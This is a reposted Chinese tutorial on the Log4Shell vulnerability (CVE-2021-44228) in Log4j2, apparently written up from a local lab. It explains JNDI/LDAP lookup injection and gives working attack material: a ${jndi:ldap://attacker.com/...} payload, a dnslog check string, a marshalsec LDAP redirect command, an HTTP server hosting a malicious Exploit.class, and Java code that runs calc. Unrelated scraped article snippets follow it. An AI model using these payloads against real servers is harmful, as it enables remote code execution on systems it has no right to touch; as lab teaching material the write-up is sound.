log4j2: CVE-2021-44228[RCE]

news2024/9/21 10:46:51

漏洞概述

CVE-2021-44228为Apache Log4j2漏洞,被称为"Log4Shell"。攻击者将恶意代码与服务器进行交互,使服务器日志组件将其记录并执行,从而造就RCE远程代码执行漏洞。

漏洞原理

  1. 日志记录机制:Log4j2是一个日志记录工具,允许通过配置文件来定义日志的格式。日志格式中可以使用变量,这些变量在日志记录时会被替换为实际的值。

  2. 变量替换机制:Log4j2支持使用${}来引用变量。例如,${user}可能执行相关代码

  3. JNDI查找支持:Log4j2还支持JNDI查找,允许通过${jndi:...}的形式引用远程资源。

  4. 漏洞触发点:在Log4j2的某些版本中,如果日志配置不当,${jndi:...}表达式可以被外部输入所利用,导致Log4j2尝试解析并执行JNDI查找。

  5. JNDI注入:攻击者通过构造特定的字符串,${jndi:ldap://attacker.com/hello}访问不存在于ldap服务器的内容, 来触发JNDI注入。ldap://attacker.com/是一个指向攻击者控制的LDAP服务器的URL,hello为不存在的文件。

  6. 指定远程服务器恶意代码:当攻击者控制的LDAP服务器没有具体文件时,将从指定动态加载对象,从而使目标服务器加载并执行。

JNDI

JNDI是Java EE的一部分,它提供了一种在Java应用程序中查找和访问各种类型的命名和目录服务的方法。JNDI可以与多种不同的服务进行交互,如LDAP、DNS、文件系统等。

用途:

查找资源:应用程序可以通过JNDI查找和访问远程资源。

LDAP

LDAP是一个轻量级的目录访问协议,用于访问和维护分布式目录信息服务。

用途:

引用恶意代码文件:当服务器查找不存在于LDAP的文件时,将被指引请求,存在于攻击者服务器内的,恶意代码

漏洞利用

存在漏洞的靶机服务器:127.0.0.1

LDAP服务器:127.0.0.1

存在恶意代码文件的远程服务器 kali:192.168.10.128

环境准备:

<1>dnslog生成域名

<2>验证漏洞

输入并运行:${jndi:ldap://u79stc.dnslog.cn}

漏洞利用

1.kali存放代码文件,并开启http服务

┌──(root㉿kali)-[/]
└─# find / -name Exploit.class
/Exploit.class
┌──(root㉿kali)-[~]
└─# python -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...

2.本机开启ldap服务 

 cmd命令行执行

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.jndi.LDAPRefServer http://192.168.10.128:8888//#Exploit 7365

3.靶机访问ldap服务

执行恶意代码打开计算器

import java.io.IOException;

public class Exploit {
    static {
        try {
            // 打开windows电脑的计算器 proof of content
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

4.使用工具进行利用

 start_log4j_POC

target:存在漏洞的地址

DNSLOG_url: 进行域名解析

vps_target:建立反弹连接的主机

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1990607.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【ML】自监督学习 self-supervised Learning

【ML】 自监督学习 1. 自监督学习 bert 为例子1.1 BERT 的特点&#xff1a;1.2 BERT 的模型结构&#xff1a;1.3 训练 BERT 的步骤&#xff1a; 2. how to use BERT![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/f8cccb378f844923a057043fadb60758.png)2. multi-lin…

DL00765-光伏故障检测高分辨率无人机热红外图像细粒度含数据集4000+张

光伏发电作为清洁能源的重要组成部分&#xff0c;近年来得到了广泛应用。然而&#xff0c;随着光伏电站规模的扩大&#xff0c;光伏组件在运行过程中可能会出现各种故障&#xff0c;如热斑、遮挡、接线盒故障等。这些故障不仅会影响光伏电站的发电效率&#xff0c;还可能导致更…

【日常开发】 java返回ECharts数据结构封装

java返回ECharts数据结构封装 一、前端页面示例图如下&#xff1a; 二、准备测试数据&#xff1a; 三、后端 格式封装代码&#xff1a; 四、最终结果&#xff1a; &#x1f388;边走、边悟&#x1f388;迟早会好 一、前端页面示例图如下&#xff1a; 二、准备测试数据&am…

4.11.seq2seq 序列到序列学习

序列到序列学习(seq2seq) ​ 使用两个循环神经网络的编码器和解码器&#xff0c;应用于序列到薛烈类的学习任务。 ​ ​ 在图中&#xff0c;特定的"<eos>"表示序列结束词元。一旦输出序列生成此词元&#xff0c;模型就会停止预测。在循环神经网络解码器的初…

Go语言中gin+gorm开发前端端分离博客时遇到的问题,gorm执行查询时如何选中特定字段?

代码获取 本篇文章的代码放在了Github上&#xff0c;可以免费获取。 https://github.com/zhangdapeng520/zdpgo_gin_examples 概述 在查询用户信息的时候&#xff0c;由于密码这个字段比较敏感&#xff0c;需要进行处理&#xff0c;不要返回给前端。 我一开始的解决方案是直…

统计学:条件概率模型

照片由Edge2Edge Media在Unsplash上拍摄 一、介绍 在概率的许多应用中&#xff0c;不可能直接观察实验的结果&#xff1b;而是观察与结果相关的事件。因此&#xff0c;条件概率模型对于考虑和利用从观察到的事件中获得的信息至关重要。此外&#xff0c;条件概率模型与贝叶斯定理…

【vue3】【elementPlus】【黑暗模式】

从创建vue3项目到引入elementPlus组件并设置黑暗模式 1.创建vue3项目&#xff1a; npm init vuelatest1.1 根据需求定制项目插件&#xff1a; 2.引入elementPlus组件&#xff1a; npm install element-plus --save2.1 如图注册全局elementPlus组件&#xff1a; ------------…

充电不再难,高质量充电体系‘智’领绿色出行新时代

充电不再难&#xff0c;高质量充电体系‘智’领绿色出行新时代 国家发展改革委新闻发言人近日在新闻发布会上郑重声明&#xff0c;将持续强化统筹协调&#xff0c;协同各相关部门加速构建高质量充电基础设施体系&#xff0c;以更有效地满足人民群众对绿色出行的需求。 新能源汽…

C语言:文件处理

文件处理 一、文件的类型&#xff08;一&#xff09;文本文件和二进制文件 &#xff08;二&#xff09;程序文件和数据文件数据文件按照二进制储存 二、文件的打开和关闭&#xff08;一&#xff09;文件指针&#xff08;二&#xff09;文件的打开和关闭1、fopen2、fclose &…

webshell管理工具-中国蚁剑

中国蚁剑 版本说明&#xff1a;中国蚁剑 下载地址&#xff1a;GitHub - AntSwordProject/AntSword-Loader: AntSword 加载器AntSword 加载器. Contribute to AntSwordProject/AntSword-Loader development by creating an account on GitHub.https://github.com/AntSwordProj…

数值分析【2】

目录 第三章 求解三角方程组​编辑 高斯消元​编辑 乘除次数&#xff1a;系数阵k^2,每行系数计算1&#xff0c;右边那列1 乘除总次数&#xff1a;​编辑 平方和 公式 列主元消去法 ​编辑 目的&#xff1a;舍入误差不扩散​编辑 直接LU分解​编辑 改进平方…

C#开发常见面试题三(浅复制和深复制的区别)

C#开发常见面试题三(浅复制和深复制的区别) 一.浅复制和深复制定义 &#xff08;1&#xff09;浅复制&#xff1a;复制一个对象的时候&#xff0c;仅仅复制原始对象中所有的非静态类型成员和所有的引用类型成员的引用。&#xff08;新对象和原对象将共享所有引用类型成员的实…

django如何更新数据库字段并与数据库保持同步?

关键步骤&#xff1a; 第一步&#xff1a; 执行&#xff1a;python manage.py makemigrations 你的项目名称第二步&#xff1a;它会提示你选1还是2&#xff0c;这里因为添加字段&#xff0c;所以选1第三步&#xff1a;出现>>>这个&#xff0c;直接输入这个第四步&am…

Win11+docker+vscode配置anomalib并训练自己的数据(3)

在前两篇博文中,我使用Win11+docker配置了anomalib,并成功的调用了GPU运行了示例程序。这次我准备使用anomalib训练我自己的数据集。 数据集是我在工作中收集到的火腿肠缺陷数据,与MVTec等数据不同,我的火腿肠数据来源于多台设备和多个品种,因此,它们表面的纹理与颜色差异…

C语言 | Leetcode C语言题解之第329题矩阵中的最长递增路径

题目&#xff1a; 题解&#xff1a; const int dirs[4][2] {{-1, 0}, {1, 0}, {0, -1}, {0, 1}}; int rows, columns;typedef struct point {int x, y; } point;int longestIncreasingPath(int** matrix, int matrixSize, int* matrixColSize) {if (matrixSize 0 || matrixC…

基于双PI+EKF扩展卡尔曼滤波的PMSM速度控制simulink建模与仿真

目录 1.课题概述 2.系统仿真结果 3.核心程序与模型 4.系统原理简介 4.1 PMSM数学模型 4.2 双PI控制器设计 4.3 扩展卡尔曼滤波器(EKF) 4.4 控制系统实现 5.完整工程文件 1.课题概述 基于双PIEKF扩展卡尔曼滤波的PMSM速度控制simulink建模与仿真。对比基于双PI的扩展卡…

【C/C++笔记】:易错难点3 (二叉树)

选择题 &#x1f308;eg1 一棵有15个节点的完全二叉树和一棵同样有15个节点的普通二叉树&#xff0c;叶子节点的个数最多会差多少个&#xff08;&#xff09;&#xff1f; 正确答案&#xff1a; C A. 3 B. 5 C. 7 D. 9 解析&#xff1a;普通二叉树的叶子节…

Java刷题:轮转数组

目录 题目 解题思路 完整代码 题目 给定一个整数数组 nums&#xff0c;将数组中的元素向右轮转 k 个位置&#xff0c;其中 k 是非负数。 示例: 输入: nums [1,2,3,4,5,6,7], k 3 输出: [5,6,7,1,2,3,4] 解题思路 主要的解题思路是&#xff0c;先把整个数组翻转过来&a…

如何解决.NET8 类库Debug时,Debug文件夹中不包含Packages中引入的文件

最近在开发中使用了.NET8 Razor类库项目&#xff0c;但是惊讶的发现Debug时&#xff0c;Debug文件夹中不包含Packages中引入的文件&#xff0c;本以为是非常小的问题&#xff0c;但是被困住了竟然足足4个小时。 其实它也本就是个非常非常小的问题…… 只需引入<CopyLocalL…

智驭灌区,科技领航—— 高效灌区信息化系统管理平台

在水资源日益珍贵的今天&#xff0c;传统灌区的粗放式管理模式已难以满足现代农业的发展需求。我们自豪地推出——灌区信息化系统管理平台&#xff0c;以科技赋能水利&#xff0c;引领灌溉管理进入智能化、精细化新时代。 【智能决策&#xff0c;精准灌溉】 告别传统灌溉的盲目…